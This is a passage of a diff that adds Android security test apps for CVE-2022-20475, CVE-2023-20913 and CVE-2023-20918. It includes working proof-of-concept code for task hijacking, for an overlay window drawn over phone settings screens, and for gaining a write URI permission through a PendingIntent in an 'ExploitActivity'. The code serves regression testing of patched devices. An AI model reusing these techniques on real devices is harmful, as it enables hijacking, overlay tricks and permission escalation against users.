index 09297b2..043de91 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2022-20475-test",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -33,7 +33,6 @@
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
],
- platform_apis: true,
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..2e35b65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20475_test">
+ <application>
+ <activity android:name=".PocActivity" />
+ <activity android:name=".HijackActivity" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20475_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
new file mode 100644
index 0000000..bbeb2c5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/res/values/strings.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityTarget">android.security.cts.CVE_2022_20475_target.TargetActivity</string>
+ <string name="pkgTarget">android.security.cts.CVE_2022_20475_target</string>
+ <string name="bcastActionHijack">CVE_2022_20475_HijackActivity</string>
+ <string name="bcastActionTarget">CVE_2022_20475_TargetActivity</string>
+ <string name="msgFail">Device is vulnerable to b/240663194 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
new file mode 100644
index 0000000..53e4c3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/DeviceTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int WAIT_MS = 5000;
+
+ @Test
+ public void testCVE_2022_20475() {
+ try {
+ // Registering a receiver here to wait for a broadcast from either HijackActivity or
+ // TargetActivity
+ Context context = getApplicationContext();
+ CompletableFuture<Boolean> hijackReturn = new CompletableFuture<>();
+ CompletableFuture<Boolean> targetReturn = new CompletableFuture<>();
+ final String bcastActionHijack = context.getString(R.string.bcastActionHijack);
+ final String bcastActionTarget = context.getString(R.string.bcastActionTarget);
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getAction().equals(bcastActionHijack)) {
+ hijackReturn.complete(true);
+ } else if (intent.getAction().equals(bcastActionTarget)) {
+ targetReturn.complete(true);
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(bcastActionHijack);
+ filter.addAction(bcastActionTarget);
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start PocActivity which in turn starts both TargetActivity and HijackActivity
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ // Waiting on callback from HijackActivity which is started last by PocActivity
+ hijackReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ final String pkgTarget = context.getString(R.string.pkgTarget);
+ targetIntent.setClassName(pkgTarget, context.getString(R.string.activityTarget));
+ targetIntent.setFlags(
+ Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
+ context.startActivity(targetIntent);
+
+ // Wait on callback from TargetActivity. On vulnerable device, TargetActivity would
+ // not start and HijackActivity would remain on screen so the test should fail due
+ // to timeout on callback.
+ try {
+ targetReturn.get(WAIT_MS, TimeUnit.MILLISECONDS);
+ } catch (TimeoutException e) {
+ throw new AssertionError(context.getString(R.string.msgFail));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
index 1a335c7..8ac03f6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/HijackActivity.java
@@ -14,9 +14,20 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2022_20475_test;
import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
-public class PocActivity extends Activity {
+public class HijackActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ sendBroadcast(new Intent(getString(R.string.bcastActionHijack)));
+ } catch (Exception ignored) {
+ }
+ }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
new file mode 100644
index 0000000..e1968a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20475/test-app/src/android/security/cts/CVE_2022_20475/PocActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20475_test;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ // Start TargetActivity
+ Intent targetIntent = new Intent(Intent.ACTION_MAIN);
+ targetIntent.setClassName(getString(R.string.pkgTarget),
+ getString(R.string.activityTarget));
+ startActivity(targetIntent);
+
+ // Start HijackActivity. On vulnerable device, this will be parented by the task
+ // android.security.cts.CVE_2022_20475_target
+ startActivity(new Intent(this, HijackActivity.class));
+ } catch (Exception ignored) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
similarity index 92%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
index 09297b2..81ce65d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-20913",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -35,5 +35,4 @@
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml
new file mode 100644
index 0000000..5617874
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20913">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <application>
+ <service android:name=".PocService" />
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20913" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml
new file mode 100644
index 0000000..dc0aa2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="activityAccessibilitySettings">.settings.AccessibilitySettingsActivity</string>
+ <string name="activityPhoneAccountSettings">.settings.PhoneAccountSettingsActivity</string>
+ <string name="activityVoicemailSettings">.settings.VoicemailSettingsActivity</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="msgActivityNotFound">The activity with intent %1$s was not found</string>
+ <string name="msgAssumptionFailure">Following assumption failures occurred: </string>
+ <string name="msgCannotDrawOverlays">The application cannot draw overlays</string>
+ <string name="msgDeviceLocked">Device is in sleep or locked mode</string>
+ <string name="msgOverlayError">Device is vulnerable to b/246933785 hence any app with
+ "SYSTEM_ALERT_WINDOW permission" can overlay the following activities: </string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="pkgDefaultTelephony">com.android.phone</string>
+ <string name="textOverlayButton">b_246933785 OverlayButton</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java
new file mode 100644
index 0000000..49b26be
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/DeviceTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20913;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.KeyguardManager;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.PowerManager;
+import android.os.UserHandle;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private Context mContext = null;
+ private List<String> mViolations;
+ private List<String> mVulnerabilities;
+ PackageManager mPackageManager = null;
+
+ private String getTelephonyPackageName() {
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = mContext.getString(R.string.pkgDefaultTelephony);
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ Intent intent = new Intent(TelecomManager.ACTION_CHANGE_PHONE_ACCOUNTS);
+ ResolveInfo info = mPackageManager.resolveActivityAsUser(intent,
+ PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ name = info.activityInfo.packageName;
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ public void testActivity(String cls) throws Exception {
+ UiDevice device = null;
+ try {
+ mPackageManager = mContext.getPackageManager();
+ device = UiDevice.getInstance(getInstrumentation());
+
+ // Start the overlay service
+ Intent serviceIntent = new Intent(mContext, PocService.class);
+ assumeTrue(mContext.getString(R.string.msgCannotDrawOverlays),
+ Settings.canDrawOverlays(mContext));
+ mContext.startService(serviceIntent);
+
+ // Wait for the overlay window
+ Pattern overlayTextPattern = Pattern.compile(
+ mContext.getString(R.string.textOverlayButton), Pattern.CASE_INSENSITIVE);
+ final long launchTimeoutMs = 20_000L;
+ if (!device.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs)) {
+ mViolations.add(cls + mContext.getString(R.string.overlayUiScreenError));
+ return;
+ }
+
+ // Start the vulnerable activity
+ String pkg = getTelephonyPackageName();
+ Intent intent = new Intent();
+ String vulActivity = pkg + cls;
+ intent.setClassName(pkg, vulActivity);
+ ResolveInfo ri =
+ mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ if (ri == null) {
+ mViolations.add(cls + mContext.getString(R.string.msgActivityNotFound, intent));
+ return;
+ }
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait until overlay window is gone
+ boolean overlayDisallowed =
+ device.wait(Until.gone(By.text(overlayTextPattern)), launchTimeoutMs);
+
+ // Check if the currently running activity is the vulnerable activity
+ String activityDump = device.executeShellCommand(
+ mContext.getString(R.string.dumpsysActivityCmd, vulActivity));
+ Pattern activityPattern = Pattern.compile(mContext.getString(R.string.mResumedTrue),
+ Pattern.CASE_INSENSITIVE);
+ if (!(activityPattern.matcher(activityDump).find())) {
+ mViolations.add(
+ cls + mContext.getString(R.string.vulActivityNotRunningError, vulActivity));
+ return;
+ }
+
+ // If overlayDisallowed is not true then add the class name to mVulnerabilities
+ if (!overlayDisallowed) {
+ mVulnerabilities.add(cls);
+ }
+ } catch (Exception e) {
+ mViolations.add(e.getMessage());
+ } finally {
+ try {
+ // To exit current activity so that new activity starts
+ device.pressHome();
+ } catch (Exception e) {
+ // Ignoring exceptions here since any exception caught here is unrelated to test
+ }
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ try {
+ mContext = getInstrumentation().getTargetContext();
+ KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
+ PowerManager powerManager = mContext.getSystemService(PowerManager.class);
+ assumeTrue(mContext.getString(R.string.msgDeviceLocked),
+ powerManager.isInteractive() && !keyguardManager.isKeyguardLocked());
+ mViolations = new ArrayList<String>();
+ mVulnerabilities = new ArrayList<String>();
+ testActivity(mContext.getString(R.string.activityAccessibilitySettings));
+ testActivity(mContext.getString(R.string.activityPhoneAccountSettings));
+ testActivity(mContext.getString(R.string.activityVoicemailSettings));
+ if (mVulnerabilities.isEmpty()) {
+ assumeTrue(mContext.getString(R.string.msgAssumptionFailure) + mViolations,
+ mViolations.isEmpty());
+ } else {
+ fail(mContext.getString(R.string.msgOverlayError) + mVulnerabilities);
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
new file mode 100644
index 0000000..6ac55d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20913/src/android/security/cts/CVE_2023_20913/PocService.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20913;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+
+ @Override
+ public void onCreate() {
+ try {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams();
+ layoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+ layoutParams.flags =
+ LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
+ layoutParams.format = PixelFormat.OPAQUE;
+ layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+ layoutParams.width = displayMetrics.widthPixels;
+ layoutParams.height = displayMetrics.heightPixels;
+ layoutParams.x = displayMetrics.widthPixels / 2;
+ layoutParams.y = displayMetrics.heightPixels / 2;
+
+ // Show the floating window
+ mButton = new Button(this);
+ mButton.setText(getString(R.string.textOverlayButton));
+ mWindowManager.addView(mButton, layoutParams);
+ } catch (Exception ignored) {
+ // In case of occurrence of an exception overlay won't appear on display which results
+ // in assumption failure in device test. Hence ignoring this exception here.
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onDestroy() {
+ try {
+ mWindowManager.removeView(mButton);
+ super.onDestroy();
+ } catch (Exception ignored) {
+ // Ignoring unintended exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
index 09297b2..af4ad21 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-20918-attacker",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -30,10 +30,6 @@
test_suites: [
"sts",
],
- static_libs: [
- "androidx.test.core",
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- ],
+ // platform_apis set to true here to access hidden method setPendingIntentLaunchFlags
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
similarity index 63%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
index d9e0ab2..bcc3ad1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
@@ -1,6 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?>
<!--
- Copyright 2021 The Android Open Source Project
+ Copyright 2022 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,7 +13,11 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<account-authenticator
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="android.security.cts.cve_2021_0685.account"
- android:label="CVE-2021-0685" />
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20918_attacker">
+ <application>
+ <activity android:name=".ExploitActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
new file mode 100644
index 0000000..9523eca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+ <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+ <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+ <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+ <string name="expActivityExploit">Got an exception in ExploitActivity with message: %1$s
+ </string>
+ <string name="keyMsgAssumeFail">msg</string>
+ <string name="keyPendingIntent">pi</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
new file mode 100644
index 0000000..1693cac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_attacker;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class ExploitActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ Intent intent = getIntent();
+ final String keyPendingIntent = getString(R.string.keyPendingIntent);
+
+ // If intent contains 'keyPendingIntent', then this activity is launched again using
+ // the custom intent that the extra 'keyPendingIntent' holds.
+ if (intent.hasExtra(keyPendingIntent)) {
+ PendingIntent activity = intent.getParcelableExtra(keyPendingIntent);
+ ActivityOptions options = ActivityOptions.makeBasic();
+ options.setPendingIntentLaunchFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ activity.send(this, 0, null, null, null, "", options.toBundle());
+ } else if (intent.getData() != null) {
+ // Control goes in this block when the activity is launched again. Attempting to
+ // open uri data received from the intent.
+ Uri data = intent.getData();
+ getContentResolver().openOutputStream(data);
+
+ // If control reaches here, then it means that openOutputStream() did not raise an
+ // exception, this indicates that FLAG_GRANT_WRITE_URI_PERMISSION has been granted
+ // so sending a broadcast to DeviceTest with the test_fail status.
+ sendBroadcastToTestApp(getString(R.string.bcastActionTestFail));
+ }
+ } catch (Exception e) {
+ if (e instanceof SecurityException
+ && e.getMessage().contains(getString(R.string.keyPendingIntent))) {
+ // ignoring this exception since it occurs with fix
+ sendBroadcastToTestApp(getString(R.string.bcastActionTestPass));
+ return;
+ }
+
+ // Sending a broadcast to DeviceTest to indicate assumption failure status,
+ // since an exception was raised unrelated to the vulnerability
+ sendBroadcastToTestApp(getString(R.string.bcastActionTestAssumeFail),
+ getString(R.string.expActivityExploit, e.getMessage()));
+ }
+ }
+
+ public void sendBroadcastToTestApp(String action) {
+ sendBroadcastToTestApp(action, null);
+ }
+
+ public void sendBroadcastToTestApp(String action, String assumeFailMsg) {
+ try {
+ Intent intent = new Intent(action);
+ if (assumeFailMsg != null) {
+ intent.putExtra(getString(R.string.keyMsgAssumeFail), assumeFailMsg);
+ }
+ sendBroadcast(intent);
+ } catch (Exception ignored) {
+ // ignore the exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
index 09297b2..a32ae6c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-20918-test",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -33,7 +33,8 @@
static_libs: [
